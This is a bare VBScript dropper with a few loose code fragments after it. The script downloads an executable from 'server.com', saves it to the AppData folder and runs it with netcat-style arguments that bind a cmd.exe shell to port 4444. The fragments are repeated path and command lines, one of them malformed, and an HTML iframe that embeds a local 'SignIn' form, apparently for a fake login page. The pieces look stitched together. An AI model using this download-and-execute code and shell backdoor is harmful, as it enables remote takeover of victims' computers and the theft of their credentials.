WScript.Sleep 30000 dim http_obj dim stream_obj dim shell_obj WScript.Sleep 2000 WScript.Sleep 2000 set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") WScript.Sleep 2000 WScript.Sleep 2000 URL = "http://server.com/download.exe" 'Where to download the file from FILENAME = "c:\Users\Default\AppData\Roaming\download.exe" 'Name to save the file (on the local system) RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading WScript.Sleep 2000 WScript.Sleep 2000 http_obj.open "GET", URL, False http_obj.send WScript.Sleep 2000 WScript.Sleep 2000 stream_obj.type = 1 stream_obj.open stream_obj.write http_obj.responseBody stream_obj.savetofile FILENAME, 2 shell_obj.run RUNCMD stream_obj.close
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe" RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe"
FILENAME = "%AppData%\download.exe RUNCMD = "%AppData%\download.exe -L -p 4444 -e cmd.exe"
<div class="sign-in-box"> <div class="iframe-container" style="overflow:hidden; padding-top: 56.25%; position:relative; height: 100%"> <iframe src="http://127.0.0.1/SignIn/docs/index.php/formbuilder/frontend/viewform/?form=2" style="border: 0; height: 100%; left 0; position: absolute; top: 0; width: 100%;"> </iframe> </div> </div>